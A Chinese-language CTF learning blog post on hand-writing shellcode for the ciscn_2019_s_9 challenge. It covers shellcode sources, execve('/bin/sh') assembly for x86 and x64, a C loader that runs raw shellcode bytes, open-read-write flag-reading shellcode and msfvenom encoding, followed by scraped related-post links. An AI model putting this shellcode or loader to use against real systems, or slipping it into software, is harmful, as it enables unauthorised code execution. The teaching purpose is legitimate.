一道题目

最近在buu上面刷题的时候发现了一道题目 ciscn_2019_s_9 ,这道题目需要我们自己编写 shellcode ,以前 shellcode 都是从 pwntools 或者是msf里面直接生成的,所以借此机会来学习一下 shellcode 的编写

我们先检查一下附件的保护机制 ,啥保护也没开,所以我们可以直接在栈上面构造shellcode然后执行

丢到IDA里面看一下,这里变量s的栈空间只有.0x20大小,而fgets函数可以读入50即0x32,所以存在栈溢出

我们看一下 pwntools 直接生成的 shellcode ,可以看到有足足0x2c大小,栈是装不下的,所以需要我们手写 shellcode

常见获取shellcode的方法

pwntools

在 pwntools 里面使用 shellcraft 函数生成 shellcode ,使用该函数的时候需要在前面指定架构,因为每个架构生成的 shellcode 是不一样的

context(os = 'linux', arch = 'i386')   # os是指操作系统,arch指架构
shellcode = shellcraft.sh()

直接使用 shellcraft.sh() 可以直接生成汇编语言格式的 shellcode

这里拿 i386 架构的 shellcode 浅析一下

form pwn import *
context(os = 'linux', arch = 'i386')
shellcode = shellcraft.sh()
print(shellcode)

这就是pwntools生成的shellcode

msf

msf是一个漏洞利用框架,可以使用msfvenom生成shellcode

直接 msfvenom --help 就可以查看相关命令

使用 --list 可以列出一些payload的信息

msfvenom就是一个生成shellcode的工具,这里不做过多的介绍,关于该工具的更多使用,大家可以上网查阅

exploit-db

这是一个漏洞库,里面会有很多漏洞利用的shellcode

官网 : https://www.exploit-db.com/

该网站有很多最新或者以前的漏洞,里面一般都有exp,也可以从这些exp中学习shellcode

shell-storm

这个网站里面有很多大佬写的shellcode

网站 : http://shell-storm.org/shellcode/

shellcode编写

前置知识

首先我们学习一下系统调用,程序在执行到int 0x80的时候会进入内核态执行相应的系统调用,这时候eax/rax存放的是系统调用号,然后寄存器里面存放着各个参数

x86

x86程序的参数分别由ebx/ecx/edxesi/edi/ebp存放

x64

x64程序的参数分别由rdi/rsi/rdx/r10/r8/r9存放

简单的shellcode

这里我们使用汇编来编写练习一下shellcode的编写

x86
;nasm -f elf32 shellcode_x86.asm
;ld -m elf_i386 -o shellcode_x64 shellcode_x86.oglobal _start
_start:push 0x68732f    ;push '/sh'push 0x6e69622f    ;push '/bin'mov ebx, esp  ;ebx='/bin/sh'xor edx, edx   ;edx=0xor ecx, ecx ;ecx=0mov eax, 0xb eax=0xbint 0x80
x64
;nasm -f elf64 shellcode_x64.asm
;ld -m elf_x86_64 -o shellcode_x64 shellcode_x64.oglobal _start
_start:mov rbx, '/bin/sh' ;将'/bin/sh'赋值给rbxpush rbx ;将rbx的值,即'/bin/sh'压入栈中push rsp ;将esp的值压入栈中pop rdi      ;将esp赋值给rdi,rdi='/bin/sh'xor rsi, rsi ;rsi=0xor rdx, rdx ;rdx=0mov rax, 0x3b    ;rax=0x3bsyscall

其实归根到底就是调用 execve('/bin/sh', 0, 0)

我们测试一下,使用 objdump 将文件的汇编代码以及十六进制显示出来 objdump -d shellcode_x64.o

然后我们写一个加载器,加载这个shellcode,我们把shellcode设置为局部变量,这样就会加载在栈上,然后我们给栈可执行权限 -z execstack

// gcc exp.c -o exp -g -z execstack
#include <stdio.h>
#include <string.h>
int main(){char buf[] = "\x48\xbb\x2f\x62\x69\x6e\x2f\x73\x68\x00\x53\x54\x5f\x48\x31\xf6\x48\x31\xd2\xb8\x3b\x00\x00\x00\x0f\x05";  // shellcodevoid (*fp)(void) = (void (*)(void))buf;printf("Length : %ld\n", strlen(buf));fp();return 0;
}

我们运行,成功拿到一个shell

orw

在PWN比赛中有时会遇到开了沙盒的题目,这时候大部分系统调用都被禁用了,一般open、read、write这三个系统调用不会被禁用,所以我们可以使用orw直接将flag打印出来

;x86
global _start
_start:push 'flag'        ;fd=open(flag, 0)mov eax, 0x5mov ebx, espmov ecx, 0int 0x80mov ebx, eax    ;read(fd, addr, 0x40)mov eax, 0x3mov ecx, addrmov edx, 0x40int 0x80mov ebx, 0x1 ;write(1, addr, 0x40)mov eax, 0x4mov ecx, addrmov edx, 0x40int 0x80

shellcode变形

有时候程序会只让我们输入可打印字符,这是我们就需要将shellcode进行变形

对于x86的话,msf里面有个内置的encoder模块,可以生成编码过后的shellcode

也可以使用管道符来对自己的shellcode进行编码

cat shellcode | msfvenom -p linux -e x86/alpha_upper BufferRegister=eax

参考文章

https://blog.csdn.net/qq_35495684/article/details/79583232

https://docs.pwntools.com/

shellcode学习相关推荐

  1. php shellcode,Windows Shellcode学习笔记

    0x00 前言 Windows Shellcode学习笔记--通过VisualStudio生成shellcode,shellcode是一段机器码,常用作漏洞利用中的载荷(也就是payload). 在渗 ...

  2. shellcode执行盒_简单shellcode学习

    引言 之前遇到没开启NX保护的时候,都是直接用pwtools库里的shellcode一把梭,也不太懂shellcode代码具体做了些什么,遇到了几道不能一把梭的题目,简单学习一下shellcode的编 ...

  3. shellcode学习总结

    shellcode Shellcode实际是一段代码(也可以是填充数据),是用来发送到服务器利用特定漏洞的代码,一般可以获取权限.另外,Shellcode一般是作为数据发送给受攻击服务器的. Shel ...

  4. 如何在内存中执行二进制代码之win平台

    大家可能会很好奇,我们的任意exe程序,不就是在内存中执行的二进制机器码吗? 不,今天我要说的是,我们如何把实现指定功能的一段二进制机器码,放到我们的程序中,然后在需要的时候,直接调用它. 当然,这段 ...

  5. 《ODAY安全:软件漏洞分析技术》学习心得-----shellcode的一点小小的思考

    I will Make Impossible To I'm possible -----------LittleHann 看了2个多星期.终于把0DAY这本书给看完了,自己动手将书上的实验一个一个实现 ...

  6. php加载shellcode,萌新逆向学习笔记——CreateRemoteThread注入Shellcode

    前言 笔者已经有一段时间没发文了,说实话最近学习逆向没劲儿,不知道是不是因为天气总是变化无常,人感觉有点疲惫. 友情提示:下面一堆笔者废话,所以只想看技术细节可跳过. 之前一直在看韩国人写的<逆 ...

  7. 软件本身呢对shellcode 检查 SEH Exploit学习

    例子:   mp3-millennium 典型SEH  漏洞····················· 一般我们都是直接去写文件,但是这个例子有检查文件属性的 可以看到有检查机制 所以构造 POC时要 ...

  8. 关于简单的shellcode的学习

    题目(hackergame2019→shell骇客) 题目文件下载(提取码:emuy) chall1 对文件分析完发现只需要生成一个不超过0x200长度的shellcode填充栈即可 如果不了解she ...

  9. 了解黑客的关键工具---揭开Shellcode的神秘面纱

    2019独角兽企业重金招聘Python工程师标准>>> ref:  http://zhaisj.blog.51cto.com/219066/61428/ 了解黑客的关键工具---揭开 ...

最新文章

  1. python元类的概念_Python中的元类编程 | 学步园
  2. Cisco常见路由器密码和版本恢复方法
  3. 在visual studio中使用git版本系统(zz)
  4. TortoiseSVN status cache占用CPU高
  5. osg节点函数功能汇总
  6. 2018.3.12 Leecode习题 给定一个整数数列,找出其中和为特定值的那两个数。
  7. O-超大型LED显示屏
  8. cocos2d-x基于windows平台交叉编辑android工程
  9. Android开发:《Gradle Recipes for Android》阅读笔记(翻译)4.2——增加自定义task
  10. 200套web前端期末大作业 HTML+CSS+JavaScript网页设计实例 企业网站制作 [建议收藏]
  11. 转:以Delphi Package架构多人开发应用程序环境
  12. 魂斗罗进化革命+塞班JAVA版_魂斗罗进化革命电脑版
  13. 2019CCPC女生专场赛_K - Tetris_打表/模拟_暴力之王
  14. gitlab 配置QQ邮箱
  15. 图像风格迁移-DSTN
  16. 《Arduino实验》实验二:DHT11温湿度传感器检测当前环境温湿度
  17. 中控系统一键关机--读取串口数据并判断
  18. 圆/椭圆/抛物线/双曲线等圆锥曲面/二次曲线公式总结
  19. Intel J4125 音频驱动(声卡驱动)安装
  20. 大厂技术专家:云原生与软件供应链安全的思考

热门文章

  1. win10 安装和使用winscp
  2. Java项目开发中的DO、BO、DTO、VO、PO的区别
  3. 【QT5】QPixmap的使用
  4. 一键安装zabbix脚本
  5. 装箱问题(20 分)
  6. 【官方文档】Fluentd 安装前的配置
  7. 追赶法求解三对角方程组
  8. OpenJudge 1058 Guideposts | BZOJ 3328 PYXFIB
  9. 渗透测试之靶机试炼(一)
  10. 产品推广系统推荐乐云seo_乐云seo营销